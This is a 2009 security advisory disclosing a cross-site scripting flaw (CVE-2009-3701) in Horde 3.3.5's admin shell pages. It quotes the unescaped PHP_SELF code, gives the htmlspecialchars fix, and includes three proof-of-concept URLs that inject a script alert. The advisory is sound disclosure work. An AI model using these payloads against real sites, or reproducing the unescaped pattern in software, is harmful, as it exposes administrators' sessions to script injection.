============================================= INTERNET SECURITY AUDITORS ALERT 2009-012 - Original release date: October 13th, 2009 - Last revised: December 16th, 2009 - Discovered by: Juan Galiana Lara - CVE ID: CVE-2009-3701 - Severity: 6.3/10 (CVSS Base Score) ============================================= I. VULNERABILITY ------------------------- Horde 3.3.5 "PHP_SELF" Cross-Site Scripting vulnerability II. BACKGROUND ------------------------- The Horde Application Framework is a modular, general-purpose web application framework written in PHP. It provides an extensive array of classes that are targeted at the common problems and tasks involved in developing modern web applications. III. DESCRIPTION ------------------------- Input passed to 'PHP_SELF' variable is not properly filtered before being returned to the user. This can be explotied to inject arbitrary HTML or to execute arbitrary script code in a user's browser session in context of an affected site. In order to successfully exploit this vulnerability the targeted user has to be logged as an administrator. horde-3.3.5/admin/cmdshell.php:46:<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post"> horde-3.3.5/admin/sqlshell.php:29:<form name="sqlshell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post"> horde-3.3.5/admin/phpshell.php:42:<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post"> In order to filter the "PHP_SELF" variable, the htmlspecialchars function has to be used, like in 'horde-3.3.5/templates/shares/edit.inc' file: horde-3.3.5/templates/shares/edit.inc:1:<form name="edit" method="post" action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']) ?>"> IV. PROOF OF CONCEPT ------------------------- This PoC will show an alert with the text "xss" http://site/horde-3.3.5/admin/phpshell.php/%22%3E%3Cscript%3Ealert%288%29;%3C/script%3E%3Cform%20/?Horde=<sessid> http://site/horde-3.3.5/admin/cmdshell.php/%22%3E%3Cscript%3Ealert%288%29;%3C/script%3E%3Cform%20/?Horde=<sessid> http://site/horde-3.3.5/admin/sqlshell.php/%22%3E%3Cscript%3Ealert%288%29;%3C/script%3E%3Cform%20/?Horde=<sessid> V. BUSINESS IMPACT ------------------------- Is possible to execute arbitrary HTML or script code in a targeted user's browser. Only works with administration sessions. VI. SYSTEMS AFFECTED ------------------------- Horde 3.3.5 is vulnerable, others may be affected. VII. SOLUTION ------------------------- Upgrade to version 3.3.6 VIII. REFERENCES ------------------------- http://www.horde.org http://lists.horde.org/archives/announce/2009/000529.html http://www.isecauditors.com IX. CREDITS ------------------------- This vulnerability has been discovered by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com). X. REVISION HISTORY ------------------------- October 13, 2009: Initial release October 19, 2009: Added CVE id. December 13, 2009: Revision. December 16, 2009: Las revision. XI. DISCLOSURE TIMELINE ------------------------- October 13, 2009: Vulnerability discovered by Internet Security Auditors. October 13, 2009: Sent to developers. The issue is considered hard to exploit and solution is delayed. December 13, 2009: Second contact for correction plan. December 15, 2009: New release published. December 16, 2009: Sent to public lists. XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.